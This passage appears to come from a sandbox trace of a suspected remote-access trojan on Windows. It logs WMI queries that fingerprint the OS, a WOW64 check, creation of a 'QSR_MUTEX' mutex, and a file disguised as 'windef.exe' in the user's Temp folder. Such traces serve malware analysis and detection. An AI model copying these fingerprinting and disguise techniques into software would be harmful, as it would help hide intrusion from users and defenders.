pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0149.373] WbemLocator:IUnknown:Release (This=0xf93b24) returned 0x4 [0149.373] WbemLocator:IUnknown:Release (This=0xf93b48) returned 0x3 [0149.373] CoTaskMemFree (pv=0xf8f8f0) [0149.373] WbemLocator:IUnknown:Release (This=0xf27c60) returned 0x2 [0149.374] SysStringLen (param_1=0x0) returned 0x0 [0149.374] CoGetContextToken (in: pToken=0x18e828 | out: pToken=0x18e828) returned 0x0 [0149.374] WbemLocator:IUnknown:AddRef (This=0xf27c60) returned 0x3 [0149.374] IWbemServices:ExecQuery (in: This=0xf27c60, strQueryLanguage="WQL", strQuery="SELECT Caption FROM Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x18ea4c | out: ppEnum=0x18ea4c*=0xf8be88) returned 0x0 [0149.381] IUnknown:QueryInterface (in: This=0xf8be88, riid=0x6bb51234*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e890 | out: ppvObject=0x18e890*=0xf8be8c) returned 0x0 [0149.381] IClientSecurity:QueryBlanket (in: This=0xf8be8c, pProxy=0xf8be88, pAuthnSvc=0x18e8e0, pAuthzSvc=0x18e8dc, pServerPrincName=0x18e8d4, pAuthnLevel=0x18e8d8, pImpLevel=0x18e8c8, pAuthInfo=0x18e8cc, pCapabilites=0x18e8d0 | out: pAuthnSvc=0x18e8e0*=0xa, pAuthzSvc=0x18e8dc*=0x0, pServerPrincName=0x18e8d4, pAuthnLevel=0x18e8d8*=0x6, pImpLevel=0x18e8c8*=0x2, pAuthInfo=0x18e8cc, pCapabilites=0x18e8d0*=0x1) returned 0x0 [0149.381] IUnknown:Release (This=0xf8be8c) returned 0x1 [0149.381] IUnknown:QueryInterface (in: This=0xf8be88, riid=0x6bb51224*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e884 | out: ppvObject=0x18e884*=0xf94968) returned 0x0 [0149.381] IUnknown:QueryInterface (in: This=0xf8be88, riid=0x6bb51234*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e870 | out: ppvObject=0x18e870*=0xf8be8c) returned 0x0 [0149.381] IClientSecurity:SetBlanket (This=0xf8be8c, pProxy=0xf8be88, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0149.500] IUnknown:Release (This=0xf8be8c) returned 0x2 [0149.500] WbemLocator:IUnknown:Release (This=0xf94968) returned 0x1 [0149.500] CoTaskMemFree (pv=0xf8f890) [0149.500] IUnknown:QueryInterface (in: This=0xf8be88, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e47c | out: ppvObject=0x18e47c*=0xf94968) returned 0x0 [0149.501] WbemLocator:IUnknown:QueryInterface (in: This=0xf94968, riid=0x6f209c98*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x18e438 | out: ppvObject=0x18e438*=0x0) returned 0x80004002 [0149.501] WbemLocator:IUnknown:QueryInterface (in: This=0xf94968, riid=0x6f209bb4*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x18e254 | out: ppvObject=0x18e254*=0x0) returned 0x80004002 [0149.563] IUnknown:QueryInterface (in: This=0xf8be88, riid=0x6f209c88*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x18e02c | out: ppvObject=0x18e02c*=0x0) returned 0x80004002 [0149.584] WbemLocator:IUnknown:AddRef (This=0xf94968) returned 0x3 [0149.584] WbemLocator:IUnknown:QueryInterface (in: This=0xf94968, riid=0x6f2098cc*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x18dd8c | out: ppvObject=0x18dd8c*=0x0) returned 0x80004002 [0149.584] WbemLocator:IUnknown:QueryInterface (in: This=0xf94968, riid=0x6f209820*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x18dd3c | out: ppvObject=0x18dd3c*=0x0) returned 0x80004002 [0149.584] WbemLocator:IUnknown:QueryInterface (in: This=0xf94968, riid=0x6f0aa540*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18dd48 | out: ppvObject=0x18dd48*=0xf948c4) returned 0x0 [0149.585] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0xf948c4, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x18dd50 | out: pCid=0x18dd50*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0149.585] WbemLocator:IUnknown:Release (This=0xf948c4) returned 0x3 [0149.585] CoGetContextToken (in: pToken=0x18dda8 | out: pToken=0x18dda8) returned 0x0 [0149.585] CoGetContextToken (in: pToken=0x18e1b0 | out: pToken=0x18e1b0) returned 0x0 [0149.585] WbemLocator:IUnknown:QueryInterface (in: This=0xf94968, riid=0x6f209b0c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e23c | out: ppvObject=0x18e23c*=0xf9494c) returned 0x0 [0149.585] WbemLocator:IRpcOptions:Query (in: This=0xf9494c, pPrx=0xf94968, dwProperty=2, pdwValue=0x18e248 | out: pdwValue=0x18e248) returned 0x80004002 [0149.585] WbemLocator:IUnknown:Release (This=0xf9494c) returned 0x3 [0149.585] WbemLocator:IUnknown:Release (This=0xf94968) returned 0x2 [0149.585] CoGetContextToken (in: pToken=0x18e790 | out: pToken=0x18e790) returned 0x0 [0149.585] CoGetContextToken (in: pToken=0x18e6f0 | out: pToken=0x18e6f0) returned 0x0 [0149.585] WbemLocator:IUnknown:QueryInterface (in: This=0xf94968, riid=0x18e7c0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x18e7bc | out: ppvObject=0x18e7bc*=0xf8be88) returned 0x0 [0149.585] IUnknown:AddRef (This=0xf8be88) returned 0x4 [0149.585] IUnknown:Release (This=0xf8be88) returned 0x3 [0149.585] IUnknown:Release (This=0xf8be88) returned 0x2 [0149.585] WbemLocator:IUnknown:Release (This=0xf27c60) returned 0x2 [0149.585] SysStringLen (param_1=0x0) returned 0x0 [0149.585] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0xf6dc98, puCount=0x18ea98 | out: puCount=0x18ea98*=0x2) returned 0x0 [0149.585] WbemDefPath:IWbemPath:GetText (in: This=0xf6dc98, lFlags=4, puBuffLength=0x18ea94*=0x0, pszText=0x0 | out: puBuffLength=0x18ea94*=0xf, pszText=0x0) returned 0x0 [0149.585] WbemDefPath:IWbemPath:GetText (in: This=0xf6dc98, lFlags=4, puBuffLength=0x18ea94*=0xf, pszText="00000000000000" | out: puBuffLength=0x18ea94*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0149.585] CoGetContextToken (in: pToken=0x18e8e8 | out: pToken=0x18e8e8) returned 0x0 [0149.586] IUnknown:AddRef (This=0xf8be88) returned 0x3 [0149.586] IEnumWbemClassObject:Clone (in: This=0xf8be88, ppEnum=0x18eaa4 | out: ppEnum=0x18eaa4*=0xf8c768) returned 0x0 [0149.590] IUnknown:QueryInterface (in: This=0xf8c768, riid=0x6bb51234*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e960 | out: ppvObject=0x18e960*=0xf8c76c) returned 0x0 [0149.591] IClientSecurity:QueryBlanket (in: This=0xf8c76c, pProxy=0xf8c768, pAuthnSvc=0x18e9b0, pAuthzSvc=0x18e9ac, pServerPrincName=0x18e9a4, pAuthnLevel=0x18e9a8, pImpLevel=0x18e998, pAuthInfo=0x18e99c, pCapabilites=0x18e9a0 | out: pAuthnSvc=0x18e9b0*=0xa, pAuthzSvc=0x18e9ac*=0x0, pServerPrincName=0x18e9a4, pAuthnLevel=0x18e9a8*=0x6, pImpLevel=0x18e998*=0x2, pAuthInfo=0x18e99c, pCapabilites=0x18e9a0*=0x1) returned 0x0 [0149.591] IUnknown:Release (This=0xf8c76c) returned 0x1 [0149.591] IUnknown:QueryInterface (in: This=0xf8c768, riid=0x6bb51224*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e954 | out: ppvObject=0x18e954*=0xf96568) returned 0x0 [0149.591] IUnknown:QueryInterface (in: This=0xf8c768, riid=0x6bb51234*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e940 | out: ppvObject=0x18e940*=0xf8c76c) returned 0x0 [0149.591] IClientSecurity:SetBlanket (This=0xf8c76c, pProxy=0xf8c768, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0149.595] IUnknown:Release (This=0xf8c76c) returned 0x2 [0149.595] WbemLocator:IUnknown:Release (This=0xf96568) returned 0x1 [0149.595] CoTaskMemFree (pv=0xf8fb30) [0149.595] IUnknown:QueryInterface (in: This=0xf8c768, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e53c | out: ppvObject=0x18e53c*=0xf96568) returned 0x0 [0149.595] WbemLocator:IUnknown:QueryInterface (in: This=0xf96568, riid=0x6f209c98*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x18e4f8 | out: ppvObject=0x18e4f8*=0x0) returned 0x80004002 [0149.597] WbemLocator:IUnknown:QueryInterface (in: This=0xf96568, riid=0x6f209bb4*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x18e314 | out: ppvObject=0x18e314*=0x0) returned 0x80004002 [0149.599] IUnknown:QueryInterface (in: This=0xf8c768, riid=0x6f209c88*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x18e0ec | out: ppvObject=0x18e0ec*=0x0) returned 0x80004002 [0149.600] WbemLocator:IUnknown:AddRef (This=0xf96568) returned 0x3 [0149.600] WbemLocator:IUnknown:QueryInterface (in: This=0xf96568, riid=0x6f2098cc*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x18de4c | out: ppvObject=0x18de4c*=0x0) returned 0x80004002 [0149.600] WbemLocator:IUnknown:QueryInterface (in: This=0xf96568, riid=0x6f209820*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x18ddfc | out: ppvObject=0x18ddfc*=0x0) returned 0x80004002 [0149.600] WbemLocator:IUnknown:QueryInterface (in: This=0xf96568, riid=0x6f0aa540*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18de08 | out: ppvObject=0x18de08*=0xf964c4) returned 0x0 [0149.601] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0xf964c4, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x18de10 | out: pCid=0x18de10*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0149.601] WbemLocator:IUnknown:Release (This=0xf964c4) returned 0x3 [0149.601] CoGetContextToken (in: pToken=0x18de68 | out: pToken=0x18de68) returned 0x0 [0149.601] CoGetContextToken (in: pToken=0x18e270 | out: pToken=0x18e270) returned 0x0 [0149.601] WbemLocator:IUnknown:QueryInterface (in: This=0xf96568, riid=0x6f209b0c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e2fc | out: ppvObject=0x18e2fc*=0xf9654c) returned 0x0 [0149.601] WbemLocator:IRpcOptions:Query (in: This=0xf9654c, pPrx=0xf96568, dwProperty=2, pdwValue=0x18e308 | out: pdwValue=0x18e308) returned 0x80004002 [0149.601] WbemLocator:IUnknown:Release (This=0xf9654c) returned 0x3 [0149.601] WbemLocator:IUnknown:Release (This=0xf96568) returned 0x2 [0149.601] CoGetContextToken (in: pToken=0x18e850 | out: pToken=0x18e850) returned 0x0 [0149.601] CoGetContextToken (in: pToken=0x18e7b0 | out: pToken=0x18e7b0) returned 0x0 [0149.601] WbemLocator:IUnknown:QueryInterface (in: This=0xf96568, riid=0x18e880*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x18e87c | out: ppvObject=0x18e87c*=0xf8c768) returned 0x0 [0149.601] IUnknown:AddRef (This=0xf8c768) returned 0x4 [0149.601] IUnknown:Release (This=0xf8c768) returned 0x3 [0149.601] IUnknown:Release (This=0xf8c768) returned 0x2 [0149.601] IUnknown:Release (This=0xf8be88) returned 0x2 [0149.601] SysStringLen (param_1=0x0) returned 0x0 [0149.602] IEnumWbemClassObject:Reset (This=0xf8c768) returned 0x0 [0149.608] CoTaskMemAlloc (cb=0x4) returned 0xf6fdf0 [0149.608] IEnumWbemClassObject:Next (in: This=0xf8c768, lTimeout=-1, uCount=0x1, apObjects=0xf6fdf0, puReturned=0x27acd34 | out: apObjects=0xf6fdf0*=0xf9a850, puReturned=0x27acd34*=0x1) returned 0x0 [0149.615] IUnknown:QueryInterface (in: This=0xf9a850, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e100 | out: ppvObject=0x18e100*=0xf9a850) returned 0x0 [0149.615] IUnknown:QueryInterface (in: This=0xf9a850, riid=0x6f209c98*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x18e0bc | out: ppvObject=0x18e0bc*=0x0) returned 0x80004002 [0149.616] IUnknown:QueryInterface (in: This=0xf9a850, riid=0x6f209bb4*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x18dedc | out: ppvObject=0x18dedc*=0x0) returned 0x80004002 [0149.616] IUnknown:QueryInterface (in: This=0xf9a850, riid=0x6f209c88*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x18dcb4 | out: ppvObject=0x18dcb4*=0x0) returned 0x80004002 [0149.616] IUnknown:AddRef (This=0xf9a850) returned 0x3 [0149.616] IUnknown:QueryInterface (in: This=0xf9a850, riid=0x6f2098cc*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x18da14 | out: ppvObject=0x18da14*=0x0) returned 0x80004002 [0149.616] IUnknown:QueryInterface (in: This=0xf9a850, riid=0x6f209820*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x18d9c4 | out: ppvObject=0x18d9c4*=0x0) returned 0x80004002 [0149.616] IUnknown:QueryInterface (in: This=0xf9a850, riid=0x6f0aa540*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18d9d0 | out: ppvObject=0x18d9d0*=0xf9a854) returned 0x0 [0149.616] IMarshal:GetUnmarshalClass (in: This=0xf9a854, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x18d9d8 | out: pCid=0x18d9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0149.616] IUnknown:Release (This=0xf9a854) returned 0x3 [0149.616] CoGetContextToken (in: pToken=0x18da30 | out: pToken=0x18da30) returned 0x0 [0149.616] CoGetContextToken (in: pToken=0x18de38 | out: pToken=0x18de38) returned 0x0 [0149.616] IUnknown:QueryInterface (in: This=0xf9a850, riid=0x6f209b0c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18dec4 | out: ppvObject=0x18dec4*=0x0) returned 0x80004002 [0149.616] IUnknown:Release (This=0xf9a850) returned 0x2 [0149.616] CoGetContextToken (in: pToken=0x18e410 | out: pToken=0x18e410) returned 0x0 [0149.616] CoGetContextToken (in: pToken=0x18e370 | out: pToken=0x18e370) returned 0x0 [0149.616] IUnknown:QueryInterface (in: This=0xf9a850, riid=0x18e440*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x18e43c | out: ppvObject=0x18e43c*=0xf9a850) returned 0x0 [0149.616] IUnknown:AddRef (This=0xf9a850) returned 0x4 [0149.616] IUnknown:Release (This=0xf9a850) returned 0x3 [0149.617] IUnknown:Release (This=0xf9a850) returned 0x2 [0149.617] CoTaskMemFree (pv=0xf6fdf0) [0149.617] CoGetContextToken (in: pToken=0x18e780 | out: pToken=0x18e780) returned 0x0 [0149.617] IUnknown:AddRef (This=0xf9a850) returned 0x3 [0149.619] IWbemClassObject:Get (in: This=0xf9a850, wszName="__GENUS", lFlags=0, pVal=0x18ea94*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x18eb14*=0, plFlavor=0x18eb10*=0 | out: pVal=0x18ea94*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x18eb14*=3, plFlavor=0x18eb10*=64) returned 0x0 [0149.620] IWbemClassObject:Get (in: This=0xf9a850, wszName="__PATH", lFlags=0, pVal=0x18ea78*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x18eafc*=0, plFlavor=0x18eaf8*=0 | out: pVal=0x18ea78*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x18eafc*=8, plFlavor=0x18eaf8*=64) returned 0x0 [0149.632] IWbemClassObject:Get (in: This=0xf9a850, wszName="__RELPATH", lFlags=0, pVal=0x18ea78*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x18eafc*=8, plFlavor=0x18eaf8*=64 | out: pVal=0x18ea78*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x18eafc*=8, plFlavor=0x18eaf8*=64) returned 0x0 [0149.633] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0xf6dc98, puCount=0x18ead0 | out: puCount=0x18ead0*=0x2) returned 0x0 [0149.633] WbemDefPath:IWbemPath:GetText (in: This=0xf6dc98, lFlags=4, puBuffLength=0x18eacc*=0x0, pszText=0x0 | out: puBuffLength=0x18eacc*=0xf, pszText=0x0) returned 0x0 [0149.633] WbemDefPath:IWbemPath:GetText (in: This=0xf6dc98, lFlags=4, puBuffLength=0x18eacc*=0xf, pszText="00000000000000" | out: puBuffLength=0x18eacc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0149.634] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0xf6dc98, puCount=0x18ea9c | out: puCount=0x18ea9c*=0x2) returned 0x0 [0149.634] WbemDefPath:IWbemPath:GetText (in: This=0xf6dc98, lFlags=4, puBuffLength=0x18ea98*=0x0, pszText=0x0 | out: puBuffLength=0x18ea98*=0xf, pszText=0x0) returned 0x0 [0149.634] WbemDefPath:IWbemPath:GetText (in: This=0xf6dc98, lFlags=4, puBuffLength=0x18ea98*=0xf, pszText="00000000000000" | out: puBuffLength=0x18ea98*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0149.634] IWbemClassObject:Get (in: This=0xf9a850, wszName="Caption", lFlags=0, pVal=0x18ea98*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ad32c*=0, plFlavor=0x27ad330*=0 | out: pVal=0x18ea98*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Microsoft Windows 10 Pro", varVal2=0x0), pType=0x27ad32c*=8, plFlavor=0x27ad330*=0) returned 0x0 [0149.635] SysStringByteLen (bstr="Microsoft Windows 10 Pro") returned 0x30 [0149.635] SysStringByteLen (bstr="Microsoft Windows 10 Pro") returned 0x30 [0149.635] IWbemClassObject:Get (in: This=0xf9a850, wszName="Caption", lFlags=0, pVal=0x18eaa0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ad32c*=8, plFlavor=0x27ad330*=0 | out: pVal=0x18eaa0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Microsoft Windows 10 Pro", varVal2=0x0), pType=0x27ad32c*=8, plFlavor=0x27ad330*=0) returned 0x0 [0149.635] SysStringByteLen (bstr="Microsoft Windows 10 Pro") returned 0x30 [0149.635] SysStringByteLen (bstr="Microsoft Windows 10 Pro") returned 0x30 [0149.639] CoGetContextToken (in: pToken=0x18e9c8 | out: pToken=0x18e9c8) returned 0x0 [0149.639] WbemLocator:IUnknown:Release (This=0xf96568) returned 0x1 [0149.639] IUnknown:Release (This=0xf8c768) returned 0x0 [0149.699] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x770a0000 [0149.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x400, lpWideCharStr="IsWow64Process", cchWideChar=14, lpMultiByteStr=0x18eac4, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IsWow64Process\rnÓ\x90j\x0c(ú\x06o`í\x18", lpUsedDefaultChar=0x0) returned 14 [0149.699] GetProcAddress (hModule=0x770a0000, lpProcName="IsWow64Process") returned 0x770b9f10 [0149.700] GetCurrentProcess () returned 0xffffffff [0149.700] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18eb24 | out: Wow64Process=0x18eb24*=1) returned 1 [0149.933] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="QSR_MUTEX_0kBRNrRz5TDLEQouI0") returned 0x3c8 [0149.957] GetLongPathNameW (in: lpszShortPath="C:\\Users\\RDHJ0C~1\\", lpszLongPath=0x18e5b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\RDhJ0CNFevzX\\") returned 0x16 [0149.958] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\windef.exe", nBufferLength=0x105, lpBuffer=0x18e5c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\windef.exe", lpFilePart=0x0) returned 0x33 [0150.652] GetLongPathNameW (in: lpszShortPath="C:\\Users\\RDHJ0C~1\\", lpszLongPath=0x18eb58, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\RDhJ0CNFevzX\\") returned 0x16 [0150.655] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\windef.exe.config", nBufferLength=0x105, lpBuffer=0x18eb6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\windef.exe.config", lpFilePart=0x0) returned 0x3a [0151.024] GetCurrentProcess () returned 0xffffffff [0151.025] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18eecc | out: TokenHandle=0x18eecc*=0x3cc) returned 1 [0151.028] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x18e964, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0151.030] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x18eec4 | out: lpFileInformation=0x18eec4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56a29ff, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97df7583, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97df7583, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0151.032] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x18e930, lpFilePart=0x0 | 